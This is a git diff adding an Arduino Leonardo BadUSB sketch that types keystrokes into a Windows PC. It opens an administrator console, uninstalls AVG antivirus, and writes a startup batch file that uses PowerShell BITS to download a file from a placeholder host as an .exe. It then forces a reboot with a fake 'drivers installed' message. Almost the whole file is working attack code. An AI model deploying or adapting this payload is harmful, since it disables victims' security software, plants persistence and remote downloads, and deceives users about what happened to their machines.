diff --git a/atmega32u4_arduino_leonardo/uninstall_avg_download_file/uninstall_avg_download_file.ino b/atmega32u4_arduino_leonardo/uninstall_avg_download_file/uninstall_avg_download_file.ino
new file mode 100644
index 0000000..1e54a4b
--- /dev/null
+++ b/atmega32u4_arduino_leonardo/uninstall_avg_download_file/uninstall_avg_download_file.ino
@@ -0,0 +1,131 @@
+/*
+ *  Uninstall AVG and download file after reboot
+ *
+ *  This example is used to:
+ *    1.- Open a cmd as administrator
+ *    2.- Open windows App wizard
+ *    3.- Uninstall AVG antivirus
+ *    4.- create a batch file at startup folder that download and execute a file from a webpage
+ *
+ *  http://www.github.com/joelsernamoreno/ http://www.twitter.com/JoelSernaMoreno/
+ *  http://www.github.com/ernesto-xload/ http://www.twitter.com/ernesto_xload/
+ *
+ *  Version:    1.0
+ *  Design:   Ernesto Sanchez
+ *  Implementation: Joel Serna & Ernesto Sanchez
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+ */
+
+#include "Keyboard.h"
+
+#define BATCH_FILE "C:\\Users\\usuario\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\file.bat"
+#define DELAY_TIME 2000
+
+void setup() {
+  Keyboard.begin();
+}
+
+void loop() {
+  delay(5000);
+  // Open cmd as admin
+  sendkey(KEY_LEFT_GUI,0);
+  delay(DELAY_TIME);
+  Keyboard.print("cmd.exe");
+  delay(DELAY_TIME);
+  sendkey(KEY_MENU,0);
+  delay(DELAY_TIME);
+  sendkey(KEY_DOWN_ARROW,0);
+  sendkey(KEY_DOWN_ARROW,0);
+  delay(DELAY_TIME);
+  sendkey(KEY_RETURN,0);
+  delay(DELAY_TIME);
+  sendkey(KEY_LEFT_ARROW,0);
+  delay(DELAY_TIME);
+  sendkey(KEY_RETURN,0);
+  delay(DELAY_TIME);
+  // Uninstall AVG antivirus
+  // Open App Wizard from console
+  Keyboard.println("appwiz.cpl");
+  delay(DELAY_TIME);
+  delay(DELAY_TIME);
+  delay(DELAY_TIME);
+  // Search for AVG and open uninstall wizard
+  Keyboard.print("avg");
+  sendkey(KEY_RETURN,0);
+  delay(20000);
+  // Select Uninstall option
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_RETURN,0);
+  delay(DELAY_TIME);
+  // I'm sure (Of course :D )
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_RETURN,0);
+  delay(DELAY_TIME);
+  /*
+  // Minimize uninstall window
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_RETURN,0);
+  delay(DELAY_TIME);
+  */
+  delay(60000); // Delay untill uninstall
+  // Don't reboot (yet)
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_TAB,0);
+  sendkey(KEY_RETURN,0);
+  delay(DELAY_TIME); 
+  // Close app wizard
+  sendkey(KEY_F4,KEY_LEFT_ALT);
+  // Back in console
+  // Create a batch file to run at startup
+  Keyboard.print("echo powershell ");
+  Keyboard.print("Import-Module BitsTransfer;");
+  Keyboard.print("Start-BitsTransfer -Source http://web.com/demo/demo.bin -Destination .\\fichero.exe;");
+  Keyboard.print("dir .\\fichero.exe;");
+  //Keyboard.print("Start-Process .\\fichero.exe;");
+  Keyboard.print(" > ");
+  Keyboard.println(BATCH_FILE);
+  delay(DELAY_TIME);
+
+  // Reboot windows
+  Keyboard.println("shutdown /r /c \"Drivers instalados correctamente, es necesario reiniciar del sistema.\" /t 90");
+  delay(100);
+  Keyboard.println("exit");
+  while(1);
+}
+
+void sendkey(int key, int modifiers){
+  if(modifiers!=0){
+    Keyboard.press(modifiers);
+  }
+  if(key!=0){
+    Keyboard.press(key);
+  }
+  delay(100);
+  Keyboard.releaseAll();
+}
+
+void breakpoint(void){
+  while(1);
+}
+